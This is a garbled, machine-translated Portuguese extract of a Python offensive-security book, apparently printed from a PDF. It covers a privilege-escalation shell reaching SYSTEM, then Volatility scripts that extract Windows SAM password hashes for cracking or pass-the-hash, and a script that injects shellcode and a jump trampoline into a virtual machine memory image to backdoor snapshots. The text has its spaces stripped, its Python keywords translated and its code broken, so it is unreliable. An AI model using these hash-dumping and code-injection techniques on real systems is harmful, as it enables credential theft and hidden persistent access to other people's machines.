Sevocinstalouoexemploserviovulnervelnoinciodestecaptulo,vocpodefacilmentetestar
suafantasianovoinjectorcdigo.Certifiquesedequeoservioestemexecuo,esimplesmenteexecutaroseu
file_monitor.pyscript.Eventualmente,vocdeveverasadaindicandoqueum.vbsarquivotenhasidocriado
emodificadoequeocdigofoiinjectado.Setudocorreubem,vocdevesercapazdeexecutaro
bhpnet.pyroteirodoCaptulo2paraconectaroouvintevocapenasgerado.Parafazercertooseuprivilgio
escaladafuncionou,conectarseaoouvinteeverificarqualousurioquevocestsendorodado.
justin$./bhpnet.pyt192.168.1.10p9999
<CTRLD>

<BHP:#>whoami
NTAUTHORITY\SYSTEM
<BHP:#>

IssovaiindicarquevoctenhaatingidoacontaSYSTEMsantoequeasuainjeodecdigo
trabalhou.
Vocpodeterchegadoaofimdestecaptulopensarquealgunsdestesataquessoumpoucoesotrico.Mas
quantomaistempovocgastadentrodeumagrandeempresa,maisvocvaiperceberqueestessobastantevivel
ataques.Asferramentasnestecaptulopodemserfacilmenteexpandidaoutransformadasemespecialidadeoneoff
scriptsquevocpodeusaremcasosespecficosparacomprometerumacontalocalouaplicativo.WMIsozinho
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

90/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

podeserumaexcelentefontededadosdereconhecimentolocalquevocpodeusarparapromoverumataque,umavezquevocestdentro
umarede.Escalonamentodeprivilgiosumapeaessencialparaqualquerbomtrojan.
[21] EstecdigofoiadaptadoapartirdapginaPythonWMI(http://timgolden.me.uk/python/wmi/tutorial.html).
[22] Win32_Processclassedocumentao:http://msdn.microsoft.com/enus/library/aa394372(v=vs.85).aspx
[23] MSDNAcessoTokens:http://msdn.microsoft.com/enus/library/Aa374909.aspx
[24] Paraalistacompletadeprivilgios,visitehttp://msdn.microsoft.com/enus/library/windows/desktop/bb530716(v=vs.85).aspx.
[25] CarlosPerezfazalgumtrabalhoincrvelcomPowerShellvejahttp://www.darkoperator.com/.

Captulo11.AutomatizandoofensivosForensics
Forensicspessoassomuitasvezeschamadosapsumaviolao,ouparadeterminarseum"incidente"ocorreuem
todos.ElesnormalmentequeremuminstantneodamemriaRAMdocomputadorafectado,afimdecapturarcriptogrfico
chavesououtrasinformaesqueresideapenasnamemria.Sorteparaeles,umaequipededesenvolvedorestalentosos
criouumquadroPythontodaadequadoparaestatarefachamadaVolatilidade,anunciadocomoumavanado
frameworkforensedememria.respondedoresdeincidentes,osmdicoslegistaseanalistasdemalwarepodeusar
Volatilidadeparaumavariedadedeoutrastarefas,bemcomo,incluindoainspeodeobjetosdokernel,anlisee
despejoprocessos,eassimpordiante.Ns,claro,estomaisinteressados
nascapacidadesofensivasque

Volatilidadefornece.
Emprimeirolugar,explorarusandoalgunsdosrecursosdelinhadecomandopararecuperaroshashesdesenhadeum
executandomquinavirtualVMWare,e,emseguida,mostrarcomopodemosautomatizaresseprocessodeduasetapaspor
incluindovolatilidadenosnossosscripts.Oltimoexemplomostracomopodemosinjetarshellcodediretamenteem
aexecuoVMemumlocalprecisoquensescolhemos.Estatcnicapodesertilparapregarosparanico
usuriosquenavegamouenviaremailssomentedeumaVM.TambmpodedeixarumabackdoorescondidoemumaVM
instantneoqueserexecutadoquandooadministradorrestauraaVM.Estemtododeinjecocdigo
TambmtilparaaexecuodecdigoemumcomputadorquetenhaumaportaFireWirequevocpodeacessar,masque
bloqueadooudormindoerequerumasenha.Vamoscomear!

Instalao
Avolatilidadeextremamentefcildeinstalarvocsprecisabaixlo
https://code.google.com/p/volatility/downloads/list.Eunormalmentenofazerumacompletainstalao.Emvezdisso,I
mantloemumdiretriolocaleadicionarodiretrioparaomeucaminhodetrabalho,comovocveraseguir
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

91/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Sees.UminstaladordoWindowstambmestincludo.Escolhaomtododesuaescolhainstalaoisto
devefuncionarbemoquevocfaz.

Profiles
Avolatilidadeutilizaoconceitodeperfisparadeterminarcomoaplicarassinaturasecompensaesnecessriaspara
arrancarinformaesdedespejosdememria.Massevocpodeobterumaimagemdememriadeumalvovia
FireWireouremotamente,vocpodenonecessariamenteconheceraversoexatadosistemaoperacional
vocestatacando.Felizmente,avolatilidadeincluiumpluginchamadoimageinfoquetentadeterminar
qualoperfilquedeveusarcontraoalvo.Vocpodeexecutaropluginassim:
$Pythonvol.pyimageinfof"memorydump.img"

Depoisdeexecutlo,vocdeveobterumbompedaodeinformaodevolta.Alinhamaisimportantea
SugeriuPerfisdelinha,quedeveolharalgocomoisto:
Perfilsugerida(s):WinXPSP2x86,WinXPSP3x86

Quandovocestexecutandoosprximosexercciosemumalvo,vocdevedefinirosinalizadordelinhadecomando
perfilparaoapropriadovalormostrado,comeandocomoprimeiroumlistados.Emoacimacenrio,quetinha
uso:
$Pythonvol.pypluginsprofile="WinXPSP2x86"argumentos

Vocvaisabersevocdefiniroperfilerrado,porquenenhumdospluginsirfuncionarcorretamente,ou
Volatilidadevaijogarerrosindicandoquenopoderiaencontrarummapeamentodeendereoadequado.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

92/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Agarrandooshashesdesenha
RecuperaroshashesdesenhaemumamquinaWindowsapsapenetraoumobjetivocomumentre
atacantes.Esteshashespodeserquebradaofflineemumatentativaderecuperarasenhadoalvo,oueles
podeserusadoemumataquepasseahashparaganharacessoaoutrosrecursosderede.Olhandoatravsdo
VMsouinstantneossobreumalvoumlugarperfeitoparatentarrecuperaresseshashes.
Seodestinoforumusurioparanicoquerealizaoperaesdealtoriscoapenasemumamquinavirtualouum
empresatentandoconteralgumasdasatividadesdoseuusurioparaVMs,oVMsapresentarumaexcelente
apontampararecolherinformaesdepoisdeterobtidoacessoaohardwarehost.
Avolatilidadetornaesteprocessoderecuperaoextremamentefcil.Primeiro,vamosdarumaolhadaemcomooperaro
pluginsnecessriospararecuperarosdeslocamentosnamemriaondeoshashesdesenhapodeserrecuperada,e
emseguida,recuperarosprprioshashes.Entovamoscriarumscriptparacombinarissoemumanicaetapa.
WindowsarmazenasenhaslocaisnoSAMseoderegistroemumformatodehash,ejuntamentecomisso,o
ChavedeinicializaodoWindowsarmazenadosnosistemaderamoderegisto.Nsprecisamambosestesurticria,afimdeextrair
oshashesdeumaimagemdememria.Paracomear,vamosexecutarohivelistpluginparafazerVolatilidadeextrairo
deslocamentosnamemriaondeestasduascolmeiasvivem.Entovamospassarestainformaoforaparaohashdump
pluginparafazeraextraodehashreal.Cairemseuterminaleexecuteoseguintecomando:
$Pythonvol.pyhivelistprofile=WinXPSP2x86f"WindowsXPSP2.vmem"

Apsumminutooudois,vocdeverserpresenteadocomalgumasadaexibindoondeaquelesRegistro
urticriaaovivonamemria.Eurecorteiumapartedasadaporrazesdebrevidade.
Virtual
Fsico
Nome

0xe1666b600x0ff01b60\Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1673b600x0fedbb60\Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe14557580x070f7758[semnome]
0xe1035b600x06cd3b60\Device\HarddiskVolume1\WINDOWS\system32\config\system

Nasada,vocpodeverosdeslocamentosdememriafsicaevirtual,tantodoSAMedosistemadechavesem
negrito.Tenhaematenoqueovirtualcompensadocompromoesondenamemria,emrelaooperao
sistema,existemaquelescolmeias.Afsicaoffsetolocalnoactual.vmemarquivonodisco,onde
existemaquelescolmeias.AgoraquetemososSAMedosistemaurticria,podemospassarosdeslocamentosvirtuaisparao
hashdumpplugin.Irparatrsparaoseuterminaldeedigiteoseguintecomando,notandoqueoseuvirtual
endereosserodiferentesdoqueosquemostram.
$Pythonvol.pyhashdumpddf"WindowsXPSP2.vmem"
profile=WinXPSP2x86y0xe1035b60s0xe17adb60

Aexecuodocomandoacimadevedarlheresultadosmuitosemelhantesasapresentadasaseguir:
Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
77041b27:::
Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec
fdfa81aee:::

Perfeito!agorapodemosenviaroshashesforaanossasferramentasdecraqueamentofavoritosouexecutarumpassthehashpara
autenticarparaoutrosservios.
Agoravamoslevaresteprocessodeduasetapaseagilizarloemnossoprprioscriptindependente.crackabrir
grabhashes.pyedigiteoseguintecdigo:
sysimportao
structimportao
importarvolatility.confcomoconf
importarvolatility.registrycomoregistro

memory_file
="WindowsXPSP2.vmem"
sys.path.append("/Users/justin/downloads/volatilidadede2.3.1")
registry.PluginImporter()
config=conf.ConfObject()
volatility.commandsimportaocomocomandos
volatility.addrspaceimportaocomoaddrspace
config.parse_options()
config.PROFILE="WinXPSP2x86"
config.LOCATION="file://%s"%memory_file
registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace)

Primeirovamosdefinirumavarivelparaapontarparaaimagemdememriaquevamosanalisar.Emseguida,inclumos
nossocaminhoVolatilidadededownloadparaqueonossocdigopodeimportarcomxitoasbibliotecasvolatilidade.o
restodocdigodesuporteapenasparamontaronossoexemplodavolatilidadecomperfileconfigurao
opesdefinirbem.
Agoravamossondarnonossocdigorealdespejohash.Adicioneasseguinteslinhasparagrabhashes.py.
devolatility.plugins.registry.registryapiRegistryApiimportao
devolatility.plugins.registry.lsadumpHashDumpimportao
Registro=RegistryApi(config)
registry.populate_offsets()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

93/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

sam_offset=None
sys_offset=None
paracompensaoderegistry.all_offsets:

seregistry.all_offsets[offset].endswith("\\SAM"):
sam_offset=offset
print"[*]SAM:0x%08x"deslocamento%

seregistry.all_offsets[offset]("sistemade\\").endswith:
sys_offset=offset
print"[*]Sistema:0x%08x"deslocamento%

sesam_offsetnonenhumesys_offsetnoNone:
config.sys_offset=sys_offset
config.sam_offset=sam_offset

hashdump=HashDump(config)

parahashemhashdump.calculate():
hashdeimpresso
pausa

sesam_offsetNenhumaousys_offsetNone:
imprimir"[*]NofoipossvelencontrarosistemaoucompensaesSAM."

NsprimeiroinstanciarumanovainstnciadeRegistryApiqueumaclasseauxiliarcomcomumenteusado
funesderegistolevaapenasaconfiguraoactualcomoumparmetro.Ospopulate_offsets
chamar,emseguida,executaoequivalenteaexecutarohivelistcomandoqueanteriormenteabrangidos.
Emseguida,comeamosacaminharatravsdecadaumadascolmeiasdescobertosprocurandooSAMesistema
urticria.Quandosodescobertos,nsatualizaroobjetodeconfiguraoatualcomorespectivo
offsets.Emseguida,criarumaHashDumpobjetoepassaroobjetodeconfiguraoatual.o
etapafinalpararepetirosresultadosdachamadadefunocalcule,queproduzoreal
nomesdeusurioseseushashesassociados.

AgoraexecutarestescriptcomoumarquivoindependentePython:
$Pythongrabhashes.py

Vocdeververamesmasadaquequandovocexecutouosdoispluginsdeformaindependente.Umadicaqueeusugiro
que,comovocolharparaafuncionalidadedacadeiajuntos(oupediremprestadoafuncionalidadeexistente),atravsdogrep
cdigofontevolatilidadeparavercomoelesestofazendoascoisassobocap.VolatilidadenoumabibliotecaPython
comoscapy,mas,examinandocomoosdesenvolvedoresusamseucdigo,vocvercomousarcorretamentequalquer
classesoufunesqueelesexpem.
Agoravamospassarparaalgumassimplesdeengenhariareversa,bemcomoainjeodecdigovoltadoparainfectarum
mquinavirtual.

InjecoDirectaCdigo
Atecnologiadevirtualizaoestsendousadocadavezmaisfrequentementecomootempopassa,sejaporcausade
usuriosparanicos,requisitosdeplataformacruzadaparasoftwaredeescritrio,ouaconcentraodeserviosna
sistemasdehardwaremaiscorpulentos.Emcadaumdessescasos,sevoccomprometeuumsistemahostevocv
VMsemuso,elepodesertilparaescalardentrodeles.SevoctambmverarquivosdeinstantneodeVMemtornodementir,eles
podeserumlugarperfeitoparaimplantarshellcdigocomoummtodoparaapersistncia.Seumutilizadorreverteparauma
snapshotquevocjinfectado,oshellcodeirexecutarevocvaiterumnovoshell.
Partederealizarainjeodecdigoparaoclientequeprecisamosencontrarumlocalidealparainjetarocdigo.
Sevoctemotempo,umlugarperfeitoencontraroloopdeservioprincipalemumprocessodosistema,porque
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

94/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

vocestgarantidoumelevadonveldeprivilgionaVMequeoseushellcodeserchamado.o
desvantagemque,sevocescolherolocalerrado,ouoseushellcodenoestescritocorretamente,vocpode
corromperoprocessoeserpegopelousuriofinaloumataroprprioVM.
NsvamosfazeralgumaengenhariareversasimplesdaaplicaocalculadoradoWindowscomoum
comeandoalvo.Oprimeiropassocarregarcalc.exenodepuradorImmunity[26]eescreverumcdigosimples
scriptdecoberturaquenosajudaaencontrara=funodoboto.Aideiaquepodemosrealizarrapidamentea
engenhariareversa,testarnossomtododeinjeodecdigoefacilmentereproduzirosresultados.Utilizandoistocomoum
fundao,vocpodeprogredirparaencontraralvosmaiscomplicadaseinjetandoshellcodemaisavanado.
Ento,claro,encontrarumcomputadorquesuportaFireWireeexperimentlolfora!
VamoscomearcomumImunidadesimplesDebuggerPyCommand.AbraumnovoarquivonoseuWindows
XPVMenomelacodecoverage.py.CertifiquesedesalvaroarquivonoprincipalDebuggerImmunity
diretriodeinstalaosoboPyCommandspasta.
deimmlibimport*
cc_hookclasse(LogBpHook):
def__init__(self):
LogBpHook.__oinit__(self)
self.imm=Debugger()
rundef(self,regs):
self.imm.log("%08X"%regs['EIP'],registros['EIP'])
self.imm.deleteBreakpoint(registros['EIP'])
Retorna

defprincipais(args):
imm=Debugger()
calc=imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())
Funes=imm.getAllFunctions(calc.getCodebase())
Hooker=cc_hook()
paraafunoemfunes:
hooker.add("%08x"funo%,funo)
retornar"Tracking%dfunes."%Len(funes)

Esteumscriptsimplesqueencontracadafunoemcalc.exeeparacadaumdefineumoneshot
pontodeinterrupo.Istosignificaque,paracadafunoqueexecutada,ImmunityDebuggeremiteo
endereodafunoe,emseguida,removeopontodeinterrupodemodoquensnocontinuamenteregistraromesmo
endereosdefuno.Cargacalc.exenodepuradorImmunity,masnoexecutloainda.Emseguida,nocomando
barranaparteinferiordatelaimunidadedodepurador,digite:
!codecoverage

Agoravocpodeexecutaroprocesso,pressionandoateclaF9.SevocalternarparaoViewLog(ALTL),vocver
funesrolar.Agoracliquetantosbotescomovocquer,excetooboto=.Aidiaquevoc
querexecutartudo,masaumafunoquevocestprocurando.Depoisquevocclicouemtorno
osuficiente,cliquecomobotodireitonavistadoregistoeselecioneLimparjanela.Issoremovetodososseusanteriormente
baterfunes.Vocpodeverificarissoclicandoemumbotoquevocclicouanteriormentevocnodevever
nadaaparecernajaneladelog.Agoravamosclicarnessetraquinas=boto.Vocdeververapenasumanica
entradanateladelog(vocpodeterquedigitarumaexpressocomo3+3e,emseguida,apertaroboto=).Em
meuWindowsXPSP2VM,esteendereo0x01005D51.
Tudocerto!NossopasseioturbilhodeDebuggerImunidadeealgumastcnicasbsicasdecoberturadecdigo
maisetemosoendereoparaondequeremosinjetarcdigo.Vamoscomearaescrevernossocdigodevolatilidadeao
fazerestenegciodesagradvel.
Esteumprocessoemandaresmltiplos.Primeiroprecisamosdigitalizarmemriaprocurandoocalc.exeprocessoe,emseguida,
caaratravsdoseuespaodememriaparaumlocalparainjectarocdigodashell,assimcomoparaencontrarodeslocamentofsico
naimagemRAMquecontmafunoqueanteriormenteencontrados.Temos,ento,parainserirumpequenosalto
sobreoendereodafunoparaoboto=quesaltaparaonossoshellcodeeexecutalo.oshellcode
usamosparaesteexemplodeumademonstraoqueeufizemumafantsticaconfernciadeseguranacanadense
chamadodecontramedidas.Esteshellcodeestusandodeslocamentoscodificadas,assimquesuamilhagempodevariar.[27]
Abraumnovoarquivo,nomelocode_inject.pyeforjaroseguintecdigo.
sysimportao
structimportao
equals_button=0x01005D51
memory_file
="WinXPSP2.vmem"
slack_space
=None
trampoline_offset=None
#Lernonossoshellcode
sc_fd=open("cmeasure.bin","rb")
sc
=Sc_fd.read()
sc_fd.close()
sys.path.append("/Users/justin/Downloads/volatilidade2.3.1")
importarvolatility.confcomoconf
importarvolatility.registrycomoregistro
registry.PluginImporter()
config=conf.ConfObject()
volatility.commandsimportaocomocomandos
volatility.addrspaceimportaocomoaddrspace
registry.register_global_options(config,commands.Command)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

95/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

registry.register_global_options(config,addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE="WinXPSP2x86"
config.LOCATION="file://%s"%memory_file

Estecdigodeconfiguraoidnticoaocdigoanteriorvocescreveu,comaressalvadequeestamoslendoem
oshellcodequevamosinjetarnoVM.
Agoravamoscolocarorestodocdigonolugarpararealmenteexecutarainjeo.
volatility.plugins.taskmodsimportaocomotaskmods
p=taskmods.PSList(config)

paraprocessoemp.calculate():
Sestr(process.ImageFileName)=="calc.exe":
print"[*]calc.exeEncontradocomPID%d"%process.UniqueProcessId
print"[*]Huntingparadeslocamentosfsicos...aguarde."

address_spaceprocess.get_process_address_space=()
Pginas
=()address_space.get_available_pages

Emprimeirolugar,instanciarumnovopslistclasseepassarnanossaconfiguraoatual.Opslistmdulo
responsvelporcaminharatravsdetodososprocessosemexecuodetectadosnaimagemdememria.Ns
iterarsobrecadaprocessoesedescobrirumcalc.exeprocesso,obtemosseuespaodeendereocompleto
etudodeoseuprocessodememriapginas.
Agoravamospercorreraspginasdememriaparaencontrarumpedaodamemriadomesmotamanhoqueonosso
shellcodequepreenchidocomzeros.Comoassim,nsestamosolhandoparaoendereovirtualdanossa=boto
manipuladordemodoquepodemosescreveronossotrampolim.Digiteocdigoaseguir,lembrandodo
recuo.
porpginaempginas:

fsica=address_space.vtop(Pgina[0])
sefsicanoNone:
seslack_spaceNone:

fd=open(memory_file,"r+")
fd.seek(fsico)
buf=fd.read(Pgina[1])
experimentar:
offset=buf.index("\x00"*len(SC))
slack_space=pgina[0]+offset

print"[*]Encontradoboalocalizaoshellcode!"
print"[*]endereovirtual:0x%08x"%slack_space
print"[*]Endereofsico:0x%08x"%(fsica.
+Offset)
print"[*]Injetarshellcode."

fd.seek(fsica+offset)
fd.write(SC)
fd.flush()
#Criaronossotrampolim
tramp="\xbb%s"%struct.pack("<L",pgina[0]+offset)
tramp+="\xff\XE3"
setrampoline_offsetnoNone:
pausa
exceto:
passar

fd.close()

#Verificaranossalocalizaodecdigodedestino
seapgina[0]<=equals_buttone.
equals_button<((pgina[0]+pgina[1])7):
print"[*]Encontradoonossoalvotrampolimem:0x%08x".
%(Fsica)

#Calculardeslocamentovirtual
v_offset=equals_buttonpgina[0]
#Agoracalcularfsicacompensado
trampoline_offset=fsica+v_offset
print"[*]Encontradoonossoalvotrampolimem:0x%08x".
%(Trampoline_offset)
seslack_spacenoNone:
pausa

print"[*]Escrevendotrampolim..."

fd=open(memory_file,"r+")
fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()
print"[*]Feitoinjeodecdigo."

Tudocerto!Vamosexaminaroquetudoissocdigofaz.Quandonsiterarsobrecadapgina,ocdigo
retornaumalistadedoismembros,ondepgina[0]oendereodapginaepgina[1]otamanhodo
Apginaembytes.medidaquecaminhamosatravsdecadapginadememria,temosqueencontrarprimeiroodeslocamentofsico(lembrese
odeslocamentonaimagemRAMnodisco)deondeapginareside.Emseguida,abraaimagemRAM,
procuramodeslocamentodeondeapgina,eentoleremtodaapginadememria.Ento,tentamos
encontrarumpedaodeNULLbytesdomesmotamanhoqueonossoshellcodeesteolugarondensescrevemososhellcode
naimagemRAM.Depoisnsencontramosumlocaladequadoeinjetouoshellcode,tomamoso
endereodonossoshellcodeecriarumpequenopedaodeopcodesx86.Produziressesopcodeso
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

96/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

apsamontagem:

movebx,ADDRESS_OF_SHELLCODE
jmpEBX

Tenhaemmentequevocpodeusarosrecursosdedesmontagemdevolatilidadeparagarantirquevocdesmontaro
nmeroexatodebytesquevocprecisaparaoseusalto,erestaurarosbytesemseushellcode.Doente
deixarissocomoumaliodecasa.
Aetapafinaldonossocdigoparatestarsenossafuno=botoresidenapginaatualque

estamosinteragindosobre.Seencontrlo,nscalculamosodeslocamentoe,emseguida,escreveranossatrampolim.
Temosagoraonossotrampolimnolugarquedeveriatransferiraexecuoparaoshellcodequecolocamosna
imagemRAM.

Chutarospneus
OprimeiropassofecharDebuggerimunidadeseeleaindaestemexecuoefechetodasasinstnciasdecalc.exe.
Agorafogoatcalc.exeeexecutaroscriptdeinjeodecdigo.Vocdeververumasadacomoesta:
$Code_inject.pypython
[*]Calc.exeEncontradocomPID1936
[*]Acaaparadeslocamentosfsicos...aguarde.
[*]Encontradoboalocalizaoshellcode!
[*]Endereovirtual:0x00010817
[*]Endereofsico:0x33155817
[*]Ainjeodeshellcode.
[*]Encontradoonossoalvotrampolimem:0x3abccd51
[*]Escritatrampolim...
[*]Feitoinjeodecdigo.

Bela!Eledevemostrarqueencontramostodososdeslocamentos,einjetouoshellcode.Paratestlo,basta
cairemsuaVMefazerumrpido3+3eaperteoboto=.Vocdeververumamensagempopup!
Agoravocpodetentarfazerengenhariareversadeoutrosaplicativosouservios,almdecalc.exetentareste
tcnicacontra.Voctambmpodeestenderestatcnicaparatentarmanipularobjetoskernelquepode
comportamentorootkitmmica.Estastcnicaspodemserumamaneiradivertidadesefamiliarizarcomamemria
forense,eelestambmsoteisparasituaesondevoctemacessofsicomquinaoutm
estalouumservidordehospedagemnumerososVMs.
[26] BaixarDebuggerImunidadeaqui:http://debugger.immunityinc.com/.
[27] SevocquerescreverseuprprioshellcodeMessageBox,consulteestetutorial:https://www.corelan.be/index.php/2010/02/25/exploit

escritatutorialpart9introduoawin32shellcoding/.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

97/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ndice
ANOTEONTHEDIGITALINDEX
Umlinkemumaentradadendiceexibidocomoottulodaseoemqueessaentradaexibida.Porquealgumasseestmndicedemltipla
marcadores,noincomumparaumaentradadetervrioslinksparaamesmaseo.Aoclicaremqualquerlinkolevardiretamenteparaolugar
notextoemqueomarcadoraparece.

UMA
AddressResolutionProtocol,ARPCachePoisoningcomscapy(vejaenvenenamentodecacheARP)
AdjustTokenPrivilegesfuno,oWindowsTokenparaPrivilgios
ParmetroAF_INET,ARede:Basics
ARP(AddressResolutionProtocol)envenenamentodecache,ARPCachePoisoningcomscapy,ARPCache
Envenenandocomscapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,ARP
CachePoisoningcomscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy

B
ClasseBHPFuzzer,arrotoFuzzing
MotordebuscaBing,Chutarospneus,Bingparaarroto,Bingparaarroto,Bingparaarroto,Bingparaarroto,
BingparaBurp
definiodeclasseextensor,BingparaBurp
funcionalidadeparaanalisarresultados,BingparaBurp
funcionalidadeparaexecutarconsulta,BingparaBurp
testes,Bingparaarroto,BingparaBurp
funobing_menu,BingparaBurp
funobing_search,BingparaBurp
Biondi,Philippe,Possuiraredecomscapy
BitBltfuno,TomarScreenshots
BrowserHelperObjects,CriaodoServidor
ataquesdeforabruta,retrocedeospneus,BruteForarDiretriosearquivoLocais,BruteForar
Diretrioselocalizaesdearquivo,BruteForandodiretrioselocalizaesdearquivo,BruteForando
Diretrioselocaisdearquivos,BruteForardiretrioselocalizaesdosficheiros,BruteForarHTML

Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

98/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,chutarospneus

naautenticaodeformulrioHTML,BruteForandoHTMLFormAuthentication,BruteForandoHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus
formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
emdiretrioselocaisdearquivos,Retrocedendoospneus,BruteForandoDiretriosearquivoLocais,
BruteForandoDiretrioselocalizaesdearquivo,BruteForandoDiretrioselocalizaesdearquivo,
Diretrioselocalizaesdearquivo,DiretriosBruteforcingelocalizaesdearquivoBruteForando
listadeextensesdeaplicaoparatestar,BruteForandoDiretriosearquivoLocalizaes
listadeextensesquecriam,BruteForarDiretriosearquivoLocalizaes
criandoQueueobjetosapartirdearquivosdelistasdepalavras,BruteForarDiretriosearquivoLocalizaes
criaodelistadepalavras,BruteForandoDiretriosearquivoLocalizaes
testes,BruteForandoDiretriosearquivoLocalizaes
funobuild_wordlist,BruteForandoHTMLFormAuthentication
ArrotoExtenderAPI,EstendendoBurpProxy,EstendendoBurpProxy,EstendendoBurpProxy,arroto
Fuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,Burp
Fuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus,Bingparaarroto,
Bingparaarroto,Bingparaarroto,Bingparaarroto,Bingparaarroto,Rodarcontedodositeemsenha
Ouro,Rodarcontedodositeemsenhadeouro,RodarcontedodositeemOurosenha,
VirandoocontedodositeemOurosenha,transformandoocontedodositeemOurosenha

criaodelistadepalavras,deadivinhaodesenhaVirandositecontedoemSenhaOuro,Virando
OcontedodositeemOurosenha,RodarcontedodositeemOurosenha,Rodar
OcontedodositeemOurosenha,RodarcontedodositeemOurosenha
converterotrfegoHTTPselecionadoemlistadepalavras,VirandositecontedoemSenhaouro
funcionalidadeparaexibirlistadepalavras,VirandositecontedoemSenhaouro
testes,VirandositecontedoemSenhaOuro,Virandositecontedoemsenha
Ouro
criandofuzzersaplicativosweb,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,Burp
Fuzzing,arrotoFuzzing,chutarospneus,chutarospneus,chutarospneus
acessodocumentaoarroto,arrotoFuzzing
implementaodocdigoparaatendersexigncias,arrotoFuzzing
extensodecarregamento,arrotoFuzzing,arrotoFuzzing
fuzzersimples,arrotoFuzzing
usandoaextensodosataques,Chutarospneus,Chutarospneus,Chutarospneus
instalao,EstendendoBurpProxy,arrotoFuzzing
interfacecomBingAPIparamostrartodososhostsvirtuais,Chutarospneus,Bingparaarroto,Bingpara
Arroto,Bingparaarrotar,Bingparaarrotar,BingparaBurp
definiodeclasseextensor,BingparaBurp
funcionalidadeparaanalisarresultados,BingparaBurp
funcionalidadeparaexecutarconsulta,BingparaBurp
testes,Bingparaarroto,BingparaBurp
JythonarquivoindependenteJAR,EstendendoBurpProxy,arrotoFuzzing
BurpExtenderclasse,arrotoFuzzing

C
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

99/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

CaimeAbel,Chutarospneus
CANVAS,PythonicShellcodeExecuo,PythonicShellcodeExecution
mtododecanal,SSHTunneling
